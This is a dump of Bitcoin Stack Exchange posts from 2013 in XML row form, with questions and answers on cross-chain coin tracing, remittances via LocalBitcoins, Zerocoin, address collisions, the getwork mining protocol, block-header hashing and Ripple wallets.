  <row Id="9713" PostTypeId="1" CreationDate="2013-04-13T16:29:47.160" Score="1" ViewCount="186" Body="&lt;p&gt;Question: is it possible to further obfuscate ownership/origin of bitcoins by trading it for another cryptocurrency at an exchange? (as it is easier to do this for large amounts than it is with cash)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets start with 10000 bitcoins. The point here is to make the size a large and conspicuous one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 10000 bitcoin that you would like to obfuscate the origin of. Right now those 10000 bitcoins are at an address you control. The object here is to move around that value between addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just sending them to another address would have a record of all the addresses they were sent to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending them to an exchange and back would still have the record as well as the exchange's records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even breaking it up into smaller transactions just makes it more tedious to follow the pieces but it is all still easily browsable using existing services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if they were traded for another cryptocurrency at an exchange?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives you the initial transfer to the exchange, everyone and the exchange can see that. But then they are exchanged, probably nominally, on the exchange for a different crpytocurrency. A completely different blockchain. For someone doing an analysis on the trail of these coins, how would they be able to account for switching blockchains? Would it even be possible at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to a different blockchain, and even then going back to the bitcoin blockchain at a different address seems like an impossible thing to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to follow coins exchanged between blockchains? Is there a way to know that the owner of the 10,000 bitcoins exchanged them? since on the bitcoin blockchain, it will all have happened on the exchange and the coins will simply look like they have been broken up between addresses, but you wouldn't know that the original owner is no longer holding those coins at all.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2013-04-13T16:57:56.300" LastActivityDate="2013-04-13T16:57:56.300" Title="following coins between blockchains" Tags="|blockchain|exchanges|trading|alternatives|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9714" PostTypeId="1" AcceptedAnswerId="9717" CreationDate="2013-04-13T16:30:40.780" Score="4" ViewCount="373" Body="&lt;p&gt;The existing remittance methods such as Western Union are pretty straight forward for the recipient ... after being notified, show up at any agent location, show ID and/or give a secret code and collect the cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the remittance recipient is not technical and today needs only cash, not bitcoins, is there still a role for Bitcoin with this type of need?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2014-09-03T10:21:13.807" LastActivityDate="2016-06-21T20:29:34.523" Title="How can I use Bitcoin to send a remittance payment to someone non-technical?" Tags="|exchanges|money-transfer|hawala|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9715" PostTypeId="2" ParentId="9713" CreationDate="2013-04-13T16:37:09.120" Score="1" Body="&lt;p&gt;If you want to hold bitcoins anonymously then the only thing you can easily do is a cash transaction.  In the good old days you could just have mined some, but that's not an option available to most people today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the specific question, the exchange will have records of the receiving and sending transactions, so if you consider them to be compromised then there is no additional security available in using an exchange regardless of if you are moving currency within a blockchain or  between blockchains.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-13T16:37:09.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9716" PostTypeId="1" AcceptedAnswerId="9761" CreationDate="2013-04-13T16:44:15.707" Score="16" ViewCount="1339" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Zerocoin&quot;&gt;Zerocoin&lt;/a&gt; is a new cryptographic extension to Bitcoin that (if adopted) would bring true cryptographic anonymity to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seriously analyzed the protocol and verified it works as advertised?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2014-09-16T23:22:37.180" LastActivityDate="2014-09-16T23:22:37.180" Title="Does the ZeroCoin protocol fulfill its promise of anonymity?" Tags="|privacy|zerocoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9717" PostTypeId="2" ParentId="9714" CreationDate="2013-04-13T17:08:11.763" Score="5" Body="&lt;p&gt;One way to do this is to perform a three-way transaction where the person sending the remittance (the bitcoin seller) transacts directly with the person buying bitcoins in the remittance destination country.  The cash being paid for the bitcoin transaction is simply just being handed over to the family member rather than to the party selling the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there are a number of &lt;a href=&quot;http://bitcointalk.org/index.php?topic=137272.0&quot; rel=&quot;nofollow&quot;&gt;risks with person-to-person trading&lt;/a&gt;, those risks can become even greater when the two parties are trading remotely.  For this reason, a trust history will help lessen the risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LocalBitcoins maintains a directory of those willing to meet face-to-face and pay cash for bitcoins.  They also have a method called &quot;LocalBitcoins Transactions&quot; which is simply an account-to-account (A2A) transfer method so that the buyer of the coins doesn't need to wait for a Bitcoin payment transfer &#xA;to receive confirmations.  Additionally, those bitcoins can be released and the buyer doesn't need wi-fi or any other network communications other than mobile phone or SMS/text messaging when completing the in-person transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here would be the steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Bob, located in the U.S., wants to send $200 worth of value to his mother who is located in Cape Town, South Africa.  Bob looks through the ads on LocalBitcoins and finds a buyer offering to pay a fair price and has no complaints showing in the trading history. Bob places a sell request in response to the buyer's ad and funds the transaction with the amount of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These coins are not sent to the buyer, but simply are reserved for this specific transaction.  Either Bob or the buyer can cancel the transaction and the Bitcoin funds are returned to Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Buyer contacts Bob and arranges the time and place to meet.  Bob explains the three-way transaction and how the cash will be picked up his mother.  Buyer agrees to this approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) Bob provides instructions to his mother to meet the buyer at a certain location and time.  Bob's mother needs to only bring her mobile phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) Bob's mother arrives at the buyer's location and notifies Bob that she has arrived and that the buyer is there and has the $200 worth or Rand in cash to pay for the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5.) Bob releases the bitcoins that were reserved for the transaction.  In return, Bob is given a &quot;verification code&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6.) Bob tells the buyer (either in a text message or by voice) the verification code.  The buyer now can trust that the bitcoins were transferred and hands over the cash to Bob's mother.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;7.) Bob's mother notifies Bob that the $200 worth of Rand in cash was received.  Bob uses the LocalBitcoins reputation tracking to leave favorable feedback for the buyer, and the buyer does the same in return for Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction has then concluded.  This transaction can be concluded at a lesser cost than the Western Union transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some buyers will even offer to do the traveling to deliver the funds in-person directly to the remittance recipient, without having to arrange a meeting.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2016-06-21T20:29:34.523" LastActivityDate="2016-06-21T20:29:34.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9719" PostTypeId="2" ParentId="9704" CreationDate="2013-04-13T17:49:29.257" Score="1" Body="&lt;p&gt;Bitcoin mining now requires either powerful graphics cards (usually AMD cards) or ASICs built from the ground up to perform the hash computations required in mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to demonstrate the performance of various pieces of hardware:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In short, your computer processor was not designed to mine bitcoins nor has the ability to be repurposed like a graphics card. Thus, the hash rate you are getting is reasonable. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-13T17:49:29.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9720" PostTypeId="2" ParentId="9716" CreationDate="2013-04-13T19:12:05.837" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://spar.isi.jhu.edu/~mgreen/ZerocoinOakland.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is the zerocoin paper&lt;/a&gt;, but as far as I can tell, they haven't released source code yet, so all we can really do is speculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The single largest problem it has is that a zerocoin spend requires about 100x more disk space/bandwidth/cpu than a normal bitcoin transaction. However, the intended use case is that you use normal bitcoin transactions most of the time, then run through zerocoin when you want more anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, because all zerocoins are indistinguishable, they must either &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;all be the same denomination, which sucks for people making very large transactions and for people making very small transactions, or&lt;/li&gt;&#xA;&lt;li&gt;Have a handful of predefined denominations, like 1-zerocoins, 10-zerocoins, etc. The problem with this is that it reduces your anonymity set.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As far as security/anonymity goes, I believe that they have a workable system unless there's some problem with their zero-knowledge proof, which I've repeated below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vN0R9.png&quot; alt=&quot;zerocoin proof&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-13T19:12:05.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9722" PostTypeId="1" CreationDate="2013-04-13T19:25:11.947" Score="4" ViewCount="1242" Body="&lt;p&gt;Addresses are like GUIDs, no? They are created randomly whenever you request the creation of a new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if when creating one, it clashes with one already created? I know that the probability of this is &lt;strong&gt;staggeringly low&lt;/strong&gt;, but there is a probability, it is not &lt;strong&gt;impossible&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen in this case?&lt;/p&gt;&#xA;" OwnerUserId="2751" LastEditorUserId="5406" LastEditDate="2013-10-11T14:18:39.357" LastActivityDate="2013-10-11T14:18:39.357" Title="What if I create a new address and I'm given one which clashes (already exists, it is being used by other user)" Tags="|address|algorithms|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9723" PostTypeId="2" ParentId="9722" CreationDate="2013-04-13T19:57:51.303" Score="0" Body="&lt;p&gt;The first address would be able to spend bitcoins belonging to the second, and vice-versa.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-13T19:57:51.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9724" PostTypeId="1" CreationDate="2013-04-13T20:06:06.967" Score="1" ViewCount="323" Body="&lt;p&gt;My question is, where does bitcoin-qt try to connect to when running for the first time? How does it know where to connect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is blockchain.info some domain that has discovery services? If yes, then what happens if this domain goes down? Would that mean that bitcoin is not really &lt;strong&gt;decentralized&lt;/strong&gt; in the end?&lt;/p&gt;&#xA;" OwnerUserId="2751" LastActivityDate="2013-04-14T01:40:26.340" Title="Where does bitcoin-qt try to connect to when running for the first time?" Tags="|blockchain|blockchain.info|decentralization|discovery|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-15T07:11:14.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="9725" PostTypeId="1" CreationDate="2013-04-13T20:44:17.480" Score="5" ViewCount="2975" Body="&lt;p&gt;High-CPU Extra Large Instance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7 GiB of memory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;20 EC2 Compute Units (8 virtual cores with 2.5 EC2 Compute Units each)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1690 GB of instance storage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;64-bit platform&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I/O Performance: High&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EBS-Optimized Available: 1000 Mbps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API name: c1.xlarge&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above is the specification for an Amazon EC2 instance, I was just wondering if there is any information on what the hash rate would be for litecoins on this Amazon EC2 instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any calculations you can use to find out the hash rate from the GHz of a processor?&#xA;I know none f the other specs apart from the processor really matter but I'm just not sure what the GHz for the EC2 processor would be.&lt;/p&gt;&#xA;" OwnerUserId="4349" LastActivityDate="2013-08-23T18:04:18.560" Title="What would the rough hash rate for an ec2 instance be - litecoin" Tags="|litecoin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9726" PostTypeId="2" ParentId="9722" CreationDate="2013-04-13T21:07:04.657" Score="4" Body="&lt;p&gt;A bitcoin address is a 20-byte hash of a 64-byte public key (plus an ID and checksum to bring it up to 25 bytes).  As such, there are two theoretical possibilities with a clash:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Two separate people own public keys which hash to the same value&lt;/li&gt;&#xA;&lt;li&gt;Two separate people own the same public key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Due to the way that Bitcoin transactions work, either of these situations would be enough for one party to spend the funds attached to the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's worth considering the likelihood of such a scenario.  Let's assume we have 7 billion people on the planet and they all use Bitcoin.  For there to be a 0.00000000001% chance of just two of the total in-use addresses clashing somewhere each person would need to have 4 trillion active addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that this is just calculating the chance of a hash collision; the chance of hitting the same keypair is so much more remote it's not worth bothering with).&lt;/p&gt;&#xA;" OwnerUserId="3187" LastEditorUserId="3187" LastEditDate="2013-04-14T17:35:43.090" LastActivityDate="2013-04-14T17:35:43.090" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9727" PostTypeId="2" ParentId="9722" CreationDate="2013-04-13T21:42:44.370" Score="0" Body="&lt;p&gt;The chances are suuuppppeeeer low, even when every person would have 1.000.000 wallets it would be super low. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And last but not least Bitcoin supports also the OP_HASH256 so if necessary the address range could be easily expanded to an even higher number. So do not worry ;-)&lt;/p&gt;&#xA;" OwnerUserId="4351" LastEditorUserId="4351" LastEditDate="2013-04-13T21:47:50.583" LastActivityDate="2013-04-13T21:47:50.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9728" PostTypeId="2" ParentId="8849" CreationDate="2013-04-13T22:15:20.047" Score="0" Body="&lt;p&gt;Well, I won't speak about other people, just that I am now a part of BBA myself.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-13T22:15:20.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9729" PostTypeId="1" CreationDate="2013-04-13T22:47:42.487" Score="3" ViewCount="3395" Body="&lt;p&gt;Request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1&#xA;Host: de.btcguild.com:8332&#xA;Accept: */*&#xA;Accept-Encoding: deflate, gzip&#xA;Content-type: application/json&#xA;X-Mining-Extensions: longpoll midstate rollntime submitold&#xA;Content-Length: 44&#xA;User-Agent: bfgminer 2.99.1&#xA;&#xA;{&quot;method&quot;: &quot;getwork&quot;, &quot;params&quot;: [], &quot;id&quot;:0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK&#xA;Server: nginx/0.7.65&#xA;Date: Sat, 13 Apr 2013 21:55:23 GMT&#xA;Content-Type: application/json;charset=ISO-8859-1&#xA;Connection: keep-alive&#xA;X-Long-Polling: /LP/&#xA;X-Blocknum: 105632&#xA;Content-Length: 607&#xA;&#xA;{&#xA;&quot;error&quot;: null,&#xA;&quot;id&quot;: 0,&#xA;&quot;result&quot;: {&#xA;&quot;data&quot;: &quot;00000002df54a70cd769d78b9605c0a6574638db799e86bdd1183cfc000001c2000000009e7ed0ae4ccdb1dbf283f4ab608791f21b1a5f437f405f4f9ba0bb3b693506a95169d43c1a022fbe00000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&quot;,&#xA;&quot;hash1&quot;: &quot;00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000&quot;,&#xA;&quot;midstate&quot;: &quot;24a747c3d16eadbc1481bd342b5558b2e235301c11353faf4bc25a384102c9c9&quot;,&#xA;&quot;target&quot;: &quot;ffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000&quot;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the request/response what does &lt;code&gt;id&lt;/code&gt; do?&lt;/li&gt;&#xA;&lt;li&gt;In the response what is data and how is it generated?&lt;/li&gt;&#xA;&lt;li&gt;What is midstate?&lt;/li&gt;&#xA;&lt;li&gt;How does target work?&lt;/li&gt;&#xA;&lt;li&gt;In the request what are these &lt;code&gt;X-Mining-Extensions: longpoll midstate rollntime submitold&lt;/code&gt; parameters for?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4355" LastEditorUserId="5406" LastEditDate="2016-04-17T20:26:21.397" LastActivityDate="2016-04-17T20:26:21.397" Title="Please explain getwork" Tags="|mining-pools|json-rpc|protocol|getwork|http|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9731" PostTypeId="1" AcceptedAnswerId="9741" CreationDate="2013-04-13T23:46:17.460" Score="2" ViewCount="1195" Body="&lt;p&gt;I have just been helped by a friend and got 300 XRPs (which quickly became 299, thank you) and then I transferred 1 BTC from another address to my Ripple.com wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Ripple.com shows 299 XRP and has an exclamation sign next to it, which clicked says &quot;Your current account is low. You must keep a minimum of 250 XRP to use all the features of a ripple.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great! I am about to trust somebody for whom 299 &amp;lt; 250 ? Or is it advance warning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I digress, that is the new world of cryptocurrencies, some of the worst Web and UI and database programming seen in the recent history, so a site that clearly says it is beta must be excused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, so now I am trying to sell my 0.5 BTCs for some XRPs. Whether I place BTC sell order at the current bid, or in the middle between current bid and ask I always receive;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Transaction failed&#xA;You don't have sufficient funds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4354" LastEditorUserId="4354" LastEditDate="2013-04-14T00:46:21.730" LastActivityDate="2013-04-14T03:09:03.897" Title="How can I sell BTC on Ripple com?" Tags="|ripple|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9732" PostTypeId="1" CreationDate="2013-04-13T23:53:52.710" Score="3" ViewCount="1230" Body="&lt;p&gt;Here is the genesis block with its hash. How the hash was calculated?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;hash&quot;:&quot;000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot;,&#xA;  &quot;ver&quot;:1,&#xA;  &quot;prev_block&quot;:&quot;0000000000000000000000000000000000000000000000000000000000000000&quot;,&#xA;  &quot;mrkl_root&quot;:&quot;4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot;,&#xA;  &quot;time&quot;:1231006505,&#xA;  &quot;bits&quot;:486604799,&#xA;  &quot;nonce&quot;:2083236893,&#xA;  &quot;n_tx&quot;:1,&#xA;  &quot;size&quot;:285,&#xA;  &quot;tx&quot;:[&#xA;    {&#xA;      &quot;hash&quot;:&quot;4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot;,&#xA;      &quot;ver&quot;:1,&#xA;      &quot;vin_sz&quot;:1,&#xA;      &quot;vout_sz&quot;:1,&#xA;      &quot;lock_time&quot;:0,&#xA;      &quot;size&quot;:204,&#xA;      &quot;in&quot;:[&#xA;        {&#xA;          &quot;prev_out&quot;:{&#xA;            &quot;hash&quot;:&quot;0000000000000000000000000000000000000000000000000000000000000000&quot;,&#xA;            &quot;n&quot;:4294967295&#xA;          },&#xA;          &quot;coinbase&quot;:&quot;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&quot;&#xA;        }&#xA;      ],&#xA;      &quot;out&quot;:[&#xA;        {&#xA;          &quot;value&quot;:&quot;50.00000000&quot;,&#xA;          &quot;scriptPubKey&quot;:&quot;04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f OP_CHECKSIG&quot;&#xA;        }&#xA;      ]&#xA;    }&#xA;  ],&#xA;  &quot;mrkl_tree&quot;:[&#xA;    &quot;4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot;&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4355" LastActivityDate="2014-02-07T16:22:01.890" Title="given a json of a block, how do I calculate its hash?" Tags="|blockchain|block|hash|genesis-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9733" PostTypeId="1" AcceptedAnswerId="9734" CreationDate="2013-04-14T00:20:20.507" Score="6" ViewCount="1253" Body="&lt;p&gt;I've just heard about another digital currency called Litecoin, which I believe to be based on Bitcoin, are there any more alternatives to Bitcoin &amp;amp; Litecoin?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Any one got a list?&lt;/li&gt;&#xA;&lt;li&gt;A reason why the alternatives are better and/or worse?&lt;/li&gt;&#xA;&lt;li&gt;With what intentions where they created.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user4342" LastEditorUserId="196" LastEditDate="2013-04-14T09:34:57.857" LastActivityDate="2013-04-14T09:34:57.857" Title="List of Bitcoin forks or spinoffs" Tags="|alternatives|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-16T05:13:23.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="9734" PostTypeId="2" ParentId="9733" CreationDate="2013-04-14T00:39:27.787" Score="4" Body="&lt;p&gt;Forum user xorxor maintains a list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=134179.0&quot;&gt;http://bitcointalk.org/index.php?topic=134179.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A reason why the alternatives are better and/or worse?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The secret sauce for Bitcoin is how the proof of work approach allowed it to be a decentralized digital currency.  This approach allows &quot;truth&quot; to be determined by consensus of the network.  This also makes it vulnerable should the majority of the network not be honest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep that in mind first and foremost when considering any alternatives.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-14T00:39:27.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9735" PostTypeId="2" ParentId="9732" CreationDate="2013-04-14T01:34:04.627" Score="2" Body="&lt;p&gt;As described &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;on the wiki page about block hashing&lt;/a&gt;, the 2xSHA256 hash is taken of the block's header only (not the transactions in it): 80 bytes, consisting of the version, previous block hash, tx merkle root, time, bits and nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direct quote from that page :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import hashlib&#xA;&amp;gt;&amp;gt;&amp;gt; header_hex = (&quot;01000000&quot; +&#xA;  &quot;81cd02ab7e569e8bcd9317e2fe99f2de44d49ab2b8851ba4a308000000000000&quot; +&#xA;  &quot;e320b6c2fffc8d750423db8b1eb942ae710e951ed797f7affc8892b0f1fc122b&quot; +&#xA;  &quot;c7f5d74d&quot; +&#xA;  &quot;f2b9441a&quot; +&#xA;   &quot;42a14695&quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; header_bin = header_hex.decode('hex')&#xA;&amp;gt;&amp;gt;&amp;gt; hash = hashlib.sha256(hashlib.sha256(header_bin).digest()).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; hash.encode('hex_codec')&#xA;'1dbd981fe6985776b644b173a4d0385ddc1aa2a829688d1e0000000000000000'&#xA;&amp;gt;&amp;gt;&amp;gt; hash[::-1].encode('hex_codec')&#xA;'00000000000000001e8d6829a8a21adc5d38d0a473b144b6765798e61f98bd1d'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-14T01:34:04.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9736" PostTypeId="2" ParentId="9724" CreationDate="2013-04-14T01:40:26.340" Score="0" Body="&lt;p&gt;It only needs one node to connect to to discover the network. After that it has a cache of several thousand other nodes that were once on the network, and most of those will still be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On initial startup that is not available yet though, so the reference client will try to either find it in the configuration file (seed), try to find it via DNS, or even IRC if configured to do that.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-14T01:40:26.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9737" PostTypeId="2" ParentId="9709" CreationDate="2013-04-14T01:50:59.973" Score="29" Body="&lt;p&gt;Most clients on the network have a transaction pool in their memory. The same basically applies to miners: they just dump the top 500KB (or some other value) transactions into a block, sorted by transaction fee (descending, of course). When there aren't many transactions, maybe because of a series of block in a short amount of time, it will be confirmed anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to answer your actual question: yes, transactions (sort of) expire. When you send a transaction, it sends a &lt;code&gt;tx&lt;/code&gt; frame to all connected peers. These peers store the transaction in their memory pools and tell all their connections that they have a new transaction. When those connections don't have it yet, they ask for it, and that's how a transaction spreads over the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point every node in the network will have the transaction in their memory pool, and at that point it will no longer be sent over the network. Now when a user restarts their client, the memory pool is wiped, and the transaction is deleted from that computer. (Plus a few other ways to delete transactions from the pool)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that it's very unlikely for the transaction to be gone from the entire network, but in case it does happen: the reference client will automatically re-send the transaction every x hours(/minutes?) when it's still not confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and I forgot the most important part: transactions on Bitcoin (&lt;code&gt;tx&lt;/code&gt; frames in the protocol) don't have a 'time' field, which means that transaction expiration can't be a feature of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize: yes, the transaction &lt;em&gt;can&lt;/em&gt; expire, but that is really unlikely.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-14T01:50:59.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9738" PostTypeId="1" AcceptedAnswerId="9876" CreationDate="2013-04-14T01:52:19.037" Score="5" ViewCount="5169" Body="&lt;p&gt;Do I have to download/compile my own version of the client? Is there a difference between the Ripple and Bitcoin wallet address creation methods, or can I use, say brainwallet, also for Ripple?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: even if it is not correct, I use terms wallet and address interchangeably. I assume that wallet is just a (possibly encrypted) container of addresses and corresponding public/private keys.&lt;/p&gt;&#xA;" OwnerUserId="4354" LastEditorUserId="4354" LastEditDate="2013-04-14T01:59:38.360" LastActivityDate="2013-04-17T03:34:55.857" Title="What are the ways to create an offline Ripple wallet?" Tags="|ripple|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
